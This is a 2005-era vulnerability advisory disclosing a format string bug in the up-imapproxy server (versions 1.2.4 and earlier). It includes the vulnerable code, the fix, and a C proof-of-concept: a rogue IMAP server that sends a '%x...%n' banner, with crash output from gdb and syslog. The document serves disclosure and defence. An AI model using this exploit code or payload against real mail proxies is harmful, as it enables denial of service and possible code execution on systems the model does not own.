[.:: ExploiterZ Labs aka Unl0ck Research Team ::.] 
  Advisory

target: Imapproxy
version: 1.2.4 and earlier
type: format string
remote: yes
vendor: http://imapproxy.org
patch: doesn't exists

[.: Details :.]
Fromat string vulnerability was found in latest version
of IMAP proxy server (up-imapproxy).

Vulnerability exists in:
/up-imapproxy-1.2.4/src/main.c

function: ParseBannerAndCapability();

static int ParseBannerAndCapability( char *DestBuf,
              unsigned int DestBufSize,
              char *SourceBuf,
              unsigned int SourceBufSize )
{
...
    SourceBuf[SourceBufSize - 2] = '\0';
    CP = strtok( SourceBuf, " " );
...
sprintf( DestBuf, CP );
...
}

This function uses in another function from main.c.

function: SetBannerAndCapability()

static void SetBannerAndCapability( void )
{
...
    BannerLen = ParseBannerAndCapability( Banner, sizeof Banner - 1,
            itd.ReadBuf, BytesRead );
...
    if ( strncasecmp( Banner, IMAP_UNTAGGED_OK, strlen(IMAP_UNTAGGED_OK)) )
    {
  syslog(LOG_ERR, "%s: Unexpected response from imap server on initial connection: %s -- Exiting.", fn, Banner);
  close( itd.conn->sd );
  exit( 1 );
    }
...
}

As you can see ParseBannerAndCapability() function calls vulnerable sprintf() without format string.
Correct call must be: 

sprintf( DestBuf, "%s", CP );

instead

sprintf( DestBuf, CP );

Vulnerability can be used to execute arbitary code on target's machine.
Imapproxy incorrectly parse banner from IMAP daemon. Look at below PoC code.


[.: PoC :.]
/*
  PoC exploit code for up-imapproxy <= 1.2.4
  by Darkeagle from ExploiterZ Labs
  
  eagle [ at ] exploiterz [ dot ] org
  
  an exploit binds port (143) and when imapproxy connects to this exploit-server and gets banner, it's child process crashes..
  
*/

#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <unistd.h>

#define BANNER "AAAAAAAAAA%x%x%x%x%x%n%n%n\r\n\r\n"

int main ( int argc, char *argv[] )
{
struct sockaddr_in addr, cl_addr;
int sock, cl_sock, addr_size;
char *Iaddr;
socklen_t l;

printf("Imapproxy <= 1.2.4 PoC Exploit\n");

sock = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);

addr.sin_family = AF_INET;
addr.sin_port = htons(143);
addr.sin_addr.s_addr = inet_addr("127.0.0.1");

bind(sock, (struct sockaddr*)&addr, sizeof(addr));
listen(sock, 5);

addr_size = sizeof(addr);

while (1) 
{
  cl_sock = accept(sock, (struct sockaddr*)&cl_addr, &l);
  Iaddr = inet_ntoa(cl_addr.sin_addr);
  send(cl_sock, BANNER, strlen(BANNER), 0);
  printf("IP: %s\n", Iaddr);
}

return 0;

}

[.: Screenshot :.]

.. Child Process crashed ..
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 1076593408 (LWP 8279)]
0x401b5904 in vfprintf () from /lib/tls/libc.so.6
(gdb)
...

.. Syslog details ..

[root@localhost bin]# tail -10 /var/log/syslog
....
Oct 28 14:12:55 localhost in.imapproxyd[9201]: SetBannerAndCapability(): Unexpected response from imap server on initial connection: AAAAAAAAAbfffc4ccbfffc4ccbfffc4b45bfffd4e8804afb98056E60^M  -- Exiting.
[root@localhost bin]#


[.: Credits :.]
Goes to Darkeagle [  eagle { at } exploiterz { dot } org  ]

http://exploiterz.org || http://55k7.org

(c) 2004-2005 Unl0ck Research Team